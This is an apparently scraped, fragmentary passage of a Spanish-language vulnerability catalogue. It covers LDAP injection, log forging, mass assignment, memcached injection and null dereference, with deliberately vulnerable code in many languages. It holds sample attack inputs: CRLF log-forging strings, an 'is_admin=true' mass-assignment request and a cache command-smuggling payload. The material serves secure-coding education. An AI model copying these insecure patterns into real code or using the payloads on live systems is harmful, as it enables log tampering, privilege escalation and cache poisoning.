DirContext ctx = new InitialDirContext(env);
String empID = request.getParameter("empID");
try
{
BasicAttribute attr = new BasicAttribute("empID", empID);
NamingEnumeration employee =
ctx.search("ou=People,dc=example,dc=com",attr);
...
dn
desde el usuario y la utiliza para realizar una consulta LDAP.
$dn = $_POST['dn'];
if (ldap_bind($ds)) {
...
try {
$rs = ldap_search($ds, $dn, "ou=People,dc=example,dc=com", $attr);
...
dn
base se origina desde la entrada de usuario y la consulta se realiza bajo un enlace anónimo, el atacante podría modificar los resultados de la consulta especificando una cadena dn inesperada. El problema es que el desarrollador no pudo aprovechar los mecanismos de control de acceso necesarios para restringir las consultas subsiguientes de modo que solo puedan acceder a los registros de empleados para los que el usuario actual tiene permisos de lectura.
...
DATA log_msg TYPE bal_s_msg.
val = request->get_form_field( 'val' ).
log_msg-msgid = 'XY'.
log_msg-msgty = 'E'.
log_msg-msgno = '123'.
log_msg-msgv1 = 'VAL: '.
log_msg-msgv2 = val.
CALL FUNCTION 'BAL_LOG_MSG_ADD'
EXPORTING
I_S_MSG = log_msg
EXCEPTIONS
LOG_NOT_FOUND = 1
MSG_INCONSISTENT = 2
LOG_IS_FULL = 3
OTHERS = 4.
...
FOO
" para val
, se registrará la entrada siguiente:
XY E 123 VAL: FOO
FOO XY E 124 VAL: BAR
", se registrará la entrada siguiente:
XY E 123 VAL: FOO XY E 124 VAL: BAR
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var val:String = String(params["username"]);
var value:Number = parseInt(val);
if (value == Number.NaN) {
trace("Failed to parse val = " + val);
}
twenty-one
" para val
, se registrará la entrada siguiente:
Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", se registrará la entrada siguiente:
Failed to parse val=twenty-one
User logged out=badguy
...
string val = (string)Session["val"];
try {
int value = Int32.Parse(val);
}
catch (FormatException fe) {
log.Info("Failed to parse val= " + val);
}
...
twenty-one
" para val
, se registrará la entrada siguiente:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", se registrará la entrada siguiente:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
syslog(LOG_INFO,"Illegal value = %s",val);
...
twenty-one
" para val
, se registrará la entrada siguiente:
Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
", se registrará la entrada siguiente:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
01 LOGAREA.
05 VALHEADER PIC X(50) VALUE 'VAL: '.
05 VAL PIC X(50).
...
EXEC CICS
WEB READ
FORMFIELD(NAME)
VALUE(VAL)
...
END-EXEC.
EXEC DLI
LOG
FROM(LOGAREA)
LENGTH(50)
END-EXEC.
...
FOO
" para VAL
, se registrará la entrada siguiente:
VAL: FOO
FOO VAL: BAR
", se registrará la entrada siguiente:
VAL: FOO VAL: BAR
<cflog file="app_log" application="No" Thread="No"
text="Failed to parse val="#Form.val#">
twenty-one
" para val
, se registrará la entrada siguiente:
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
twenty-one%0a%0a%22Information%22%2C%2C%2202/28/01%22%2C%2214:53:40%22%2C%2C%22User%20logged%20out:%20badguy%22
", se registrará la entrada siguiente:
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
"Information",,"02/28/01","14:53:40",,"User logged out: badguy"
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
name := r.FormValue("name")
logout := r.FormValue("logout")
...
if (logout){
...
} else {
log.Printf("Attempt to log out: name: %s logout: %s", name, logout)
}
}
twenty-one
" para logout
y pudo crear un usuario con nombre "admin
", se registrará la siguiente entrada:
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
", se registrará la siguiente entrada:
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
String val = request.getParameter("val");
try {
int value = Integer.parseInt(val);
}
catch (NumberFormatException nfe) {
log.info("Failed to parse val = " + val);
}
...
twenty-one
" para val
, se registrará la entrada siguiente:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", se registrará la entrada siguiente:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
Example 1
a la plataforma Android.
...
String val = this.getIntent().getExtras().getString("val");
try {
int value = Integer.parseInt();
}
catch (NumberFormatException nfe) {
Log.e(TAG, "Failed to parse val = " + val);
}
...
var cp = require('child_process');
var http = require('http');
var url = require('url');
function listener(request, response){
var val = url.parse(request.url, true)['query']['val'];
if (isNaN(val)){
console.log("INFO: Failed to parse val = " + val);
}
...
}
...
http.createServer(listener).listen(8080);
...
twenty-one
" para val
, se registrará la entrada siguiente:
INFO: Failed to parse val = twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", se registrará la entrada siguiente:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
NSLog("Illegal value = %s",val);
...
twenty-one
" para val
, se registrará la entrada siguiente:
INFO: Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
", se registrará la entrada siguiente:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
<?php
$name =$_GET['name'];
...
$logout =$_GET['logout'];
if(is_numeric($logout))
{
...
}
else
{
trigger_error("Attempt to log out: name: $name logout: $val");
}
?>
twenty-one
" para logout
y pudo crear un usuario con nombre "admin
", se registrará la siguiente entrada:
PHP Notice: Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
", se registrará la siguiente entrada:
PHP Notice: Attempt to log out: name: admin logout: 1 logout: twenty-one
name = req.field('name')
...
logout = req.field('logout')
if (logout):
...
else:
logger.error("Attempt to log out: name: %s logout: %s" % (name,logout))
twenty-one
" para logout
y pudo crear un usuario con nombre "admin
", se registrará la siguiente entrada:
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
", se registrará la siguiente entrada:
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
val = req['val']
unless val.respond_to?(:to_int)
logger.info("Failed to parse val")
logger.info(val)
end
...
twenty-one
" para val
, se registrará la entrada siguiente:
INFO: Failed to parse val
INFO: twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", se registrará la entrada siguiente:
INFO: Failed to parse val
INFO: twenty-one
INFO: User logged out=badguy
...
let num = Int(param)
if num == nil {
NSLog("Illegal value = %@", param)
}
...
twenty-one
" para val
, se registrará la entrada siguiente:
INFO: Illegal value = twenty-one
twenty-one\n\nINFO: User logged out=evil
", se registrará la entrada siguiente:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
Dim Val As Variant
Dim Value As Integer
Set Val = Request.Form("val")
If IsNumeric(Val) Then
Set Value = Val
Else
App.EventLog "Failed to parse val=" & Val, 1
End If
...
twenty-one
" para val
, se registrará la entrada siguiente:
Failed to parse val=twenty-one
twenty-one%0a%0a+User+logged+out%3dbadguy
", se registrará la entrada siguiente:
Failed to parse val=twenty-one
User logged out=badguy
@HttpGet
global static void doGet() {
RestRequest req = RestContext.request;
String val = req.params.get('val');
try {
Integer i = Integer.valueOf(val);
...
} catch (TypeException e) {
System.Debug(LoggingLevel.INFO, 'Failed to parse val: '+val);
}
}
twenty-one
" para val
, se registrará la entrada siguiente:
Failed to parse val: twenty-one
twenty-one%0a%0aUser+logged+out%3dbadguy
", se registrará la entrada siguiente:
Failed to parse val: twenty-one
User logged out=badguy
...
String val = request.Params["val"];
try {
int value = Int.Parse(val);
}
catch (FormatException fe) {
log.Info("Failed to parse val = " + val);
}
...
twenty-one
" para val
, se registrará la entrada siguiente:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", se registrará la entrada siguiente:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
Example 1
a la plataforma Android.
...
String val = this.Intent.Extras.GetString("val");
try {
int value = Int.Parse(val);
}
catch (FormatException fe) {
Log.E(TAG, "Failed to parse val = " + val);
}
...
...
var idValue string
idValue = req.URL.Query().Get("id")
num, err := strconv.Atoi(idValue)
if err != nil {
sysLog.Debug("Failed to parse value: " + idValue)
}
...
twenty-one
” para val
, se registrará la entrada siguiente:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
”, se registrará la entrada siguiente:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
...
String val = request.getParameter("val");
try {
int value = Integer.parseInt(val);
}
catch (NumberFormatException nfe) {
log.info("Failed to parse val = " + val);
}
...
twenty-one
" para val
, se registrará la entrada siguiente:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", se registrará la entrada siguiente:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
Example 1
a la plataforma Android.
...
String val = this.getIntent().getExtras().getString("val");
try {
int value = Integer.parseInt();
}
catch (NumberFormatException nfe) {
Log.e(TAG, "Failed to parse val = " + val);
}
...
var cp = require('child_process');
var http = require('http');
var url = require('url');
function listener(request, response){
var val = url.parse(request.url, true)['query']['val'];
if (isNaN(val)){
console.error("INFO: Failed to parse val = " + val);
}
...
}
...
http.createServer(listener).listen(8080);
...
twenty-one
" para val
, se registrará la entrada siguiente:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", se registrará la entrada siguiente:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
...
val = request.GET["val"]
try:
int_value = int(val)
except:
logger.debug("Failed to parse val = " + val)
...
twenty-one
" para val
, se registrará la entrada siguiente:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", se registrará la entrada siguiente:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
...
val = req['val']
unless val.respond_to?(:to_int)
logger.debug("Failed to parse val")
logger.debug(val)
end
...
twenty-one
" para val
, se registrará la entrada siguiente:
DEBUG: Failed to parse val
DEBUG: twenty-one
twenty-one%0a%DEBUG:+User+logged+out%3dbadguy
", se registrará la entrada siguiente:
DEBUG: Failed to parse val
DEBUG: twenty-one
DEBUG: User logged out=badguy
RegisterModel
o Details
:
public ActionResult Register(RegisterModel model)
{
if (ModelState.IsValid)
{
try
{
return RedirectToAction("Index", "Home");
}
catch (MembershipCreateUserException e)
{
ModelState.AddModelError("", "");
}
}
return View(model);
}
RegisterModel
se define como:
public class RegisterModel
{
[BindRequired]
[Display(Name = "User name")]
public string UserName { get; set; }
[BindRequired]
[DataType(DataType.Password)]
[Display(Name = "Password")]
public string Password { get; set; }
[DataType(DataType.Password)]
[Display(Name = "Confirm password")]
public string ConfirmPassword { get; set; }
public Details Details { get; set; }
public RegisterModel()
{
Details = new Details();
}
}
Details
se define como:Ejemplo 2: al utilizar
public class Details
{
public bool IsAdmin { get; set; }
...
}
TryUpdateModel()
o UpdateModel()
en ASP.NET MVC o aplicaciones web API, el enlazador de modelos intentará enlazar automáticamente todos los parámetros de solicitud HTTP de forma predeterminada:Ejemplo 3: En las aplicaciones de formulario web ASP.NET, el enlazador de modelos intentará enlazar automáticamente todos los parámetros de solicitud HTTP cuando se utilice
public ViewResult Register()
{
var model = new RegisterModel();
TryUpdateModel<RegisterModel>(model);
return View("detail", model);
}
TryUpdateModel()
o UpdateModel()
con la interfaz IValueProvider.
Employee emp = new Employee();
TryUpdateModel(emp, new System.Web.ModelBinding.FormValueProvider(ModelBindingExecutionContext));
if (ModelState.IsValid)
{
db.SaveChanges();
}
Employee
se define como:
public class Employee
{
public Employee()
{
IsAdmin = false;
IsManager = false;
}
public string Name { get; set; }
public string Email { get; set; }
public bool IsManager { get; set; }
public bool IsAdmin { get; set; }
}
Booking
:
<view-state id="enterBookingDetails" model="booking">
<on-render>
<render fragments="body" />
</on-render>
<transition on="proceed" to="reviewBooking">
</transition>
<transition on="cancel" to="cancel" bind="false" />
</view-state>
Booking
se define como:
public class Booking implements Serializable {
private Long id;
private User user;
private Hotel hotel;
private Date checkinDate;
private Date checkoutDate;
private String creditCard;
private String creditCardName;
private int creditCardExpiryMonth;
private int creditCardExpiryYear;
private boolean smoking;
private int beds;
private Set<Amenity> amenities;
// Public Getters and Setters
...
}
Order
, Customer
y Profile
son clases persistentes de Microsoft .NET Entity.
public class Order {
public string ordered { get; set; }
public List<LineItem> LineItems { get; set; }
pubilc virtual Customer Customer { get; set; }
...
}
public class Customer {
public int CustomerId { get; set; }
...
public virtual Profile Profile { get; set; }
...
}
public class Profile {
public int profileId { get; set; }
public string username { get; set; }
public string password { get; set; }
...
}
OrderController
es la clase controlador MVC de ASP.NET que trata la solicitud:
public class OrderController : Controller{
StoreEntities db = new StoreEntities();
...
public String updateOrder(Order order) {
...
db.Orders.Add(order);
db.SaveChanges();
}
}
Order
, Customer
y Profile
son clases Hibernate persistentes.
public class Order {
String ordered;
List lineItems;
Customer cust;
...
}
public class Customer {
String customerId;
...
Profile p;
...
}
public class Profile {
String profileId;
String username;
String password;
...
}
OrderController
es la clase de controlador que administra la solicitud:
@Controller
public class OrderController {
...
@RequestMapping("/updateOrder")
public String updateOrder(Order order) {
...
session.save(order);
}
}
[FromBody]
.[FromBody]
se aplica a un parámetro complejo de una acción, y después a cualquier otro atributo vinculante, como [Bind]
o [BindNever]
aplicados al tipo de parámetro o cualquiera de sus campos se ignoran efectivamente, lo que significa que la mitigación mediante anotaciones vinculantes es imposible.[FromBody]
se aplica a un parámetro de una acción, el enlazador de modelos intenta vincular automáticamente todos los parámetros especificados en el cuerpo de la solicitud mediante un formateador de entrada. De forma predeterminada, el enlazador utiliza el formateador de entrada JSON para intentar vincular todos los parámetros posibles que provienen del cuerpo de la solicitud:
[HttpPost]
public ActionResult Create([FromBody] Product p)
{
return View(p.Name);
}
[Bind]
o [BindNever]
aplicada al tipo Product
que sigue se ignoran debido a que se utilizan formateadores de entrada cuando la anotación [FromBody]
está presente.
public class Product
{
...
public string Name { get; set; }
public bool IsAdmin { get; set; }
...
}
Register
) desde un formulario web que pide a los usuarios que registren una cuenta proporcionando su nombre y contraseña:
public ActionResult Register(RegisterModel model)
{
if (ModelState.IsValid)
{
try
{
return RedirectToAction("Index", "Home");
}
catch (MembershipCreateUserException e)
{
ModelState.AddModelError("", "");
}
}
return View(model);
}
RegisterModel
se define como:
public class RegisterModel
{
[BindRequired]
[Display(Name = "User name")]
public string UserName { get; set; }
[BindRequired]
[DataType(DataType.Password)]
[Display(Name = "Password")]
public string Password { get; set; }
[DataType(DataType.Password)]
[Display(Name = "Confirm password")]
public string ConfirmPassword { get; set; }
public Details Details { get; set; }
public RegisterModel()
{
Details = new Details();
}
}
Details
se define como:
public class Details
{
public bool IsAdmin { get; set; }
...
}
Example 1
, un atacante puede ser capaz de explorar la aplicación y detectar si hay un atributo de Details
en el modelo RegisterModel
. Si este fuera el caso, el atacante puede entonces intentar volver a escribir los valores actuales asignados a sus atributos.
name=John&password=****&details.is_admin=true
<struts-config>
<form-beans>
<form-bean name="dynaUserForm"
type="org.apache.struts.action.DynaActionForm" >
<form-property name="type" type="java.lang.String" />
<form-property name="user" type="com.acme.common.User" />
</form-bean>
...
User
se define como:
public class User {
private String name;
private String lastname;
private int age;
private Details details;
// Public Getters and Setters
...
}
Details
se define como:
public class Details {
private boolean is_admin;
private int id;
private Date login_date;
// Public Getters and Setters
...
}
Example 1
, un atacante puede ser capaz de explorar la aplicación y detectar si hay un atributo de details
en el modelo User
. Si este fuera el caso, el atacante puede entonces intentar volver a escribir los valores actuales asignados a sus atributos.
type=free&user.name=John&user.lastname=Smith&age=22&details.is_admin=true
...
TextClient tc = (TextClient)Client.GetInstance("127.0.0.1", 11211, MemcachedFlags.TextProtocol);
tc.Open();
string id = txtID.Text;
var result = get_page_from_somewhere();
var response = Http_Response(result);
tc.Set("req-" + id, response, TimeSpan.FromSeconds(1000));
tc.Close();
tc = null;
...
set req-1233 0 1000 n
<serialized_response_instance>
n
es la longitud de la respuesta.ignore 0 0 1\r\n1\r\nset injected 0 3600 10\r\n0123456789\r\nset req-
, tras lo cual la operación cambiaría del modo siguiente:
set req-ignore 0 0 1
1
set injected 0 3600 10
0123456789
set req-1233 0 0 n
<serialized_response_instance>
injected=0123456789
y los atacantes podrán dañar la caché.
...
def store(request):
id = request.GET['id']
result = get_page_from_somewhere()
response = HttpResponse(result)
cache_time = 1800
cache.set("req-" % id, response, cache_time)
return response
...
set req-1233 0 0 n
<serialized_response_instance>
ignore 0 0 1\r\n1\r\nset injected 0 3600 10\r\n0123456789\r\nset req-
, tras lo cual la operación cambiaría del modo siguiente:
set req-ignore 0 0 1
1
set injected 0 3600 10
0123456789
set req-1233 0 0 n
<serialized_response_instance>
injected=0123456789
. En función de la carga, los usuarios malintencionados podrán dañar la caché o ejecutar código arbitrario al inyectar una carga serializada con subclases que ejecutará código arbitrario en el momento de deserialización.null
.Item
es null
antes de llamar a la función miembro Equals()
, lo que podría provocar una eliminación de referencia de un valor null
.
string itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
...
}
...
null
".null
.malloc()
.
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);
malloc()
presentó errores debido a que req_size
era demasiado grande o a que se estaban administrando demasiadas solicitudes al mismo tiempo? ¿O el error lo provocó una pérdida de memoria que se acumuló a lo largo de un periodo? Si no se administra el error, es imposible saberlo.null
.getParameter()
es null
antes de llamar a la función miembro compareTo()
, lo que podría provocar una desreferencia de null
.Ejemplo 2:. en el siguiente código se muestra una propiedad del sistema que se establece en un valor
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM)) {
...
}
...
null
y un programador elimina posteriormente su referencia al presuponer de forma incorrecta que siempre está definida.
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95") )
System.out.println("Not supported");
null
".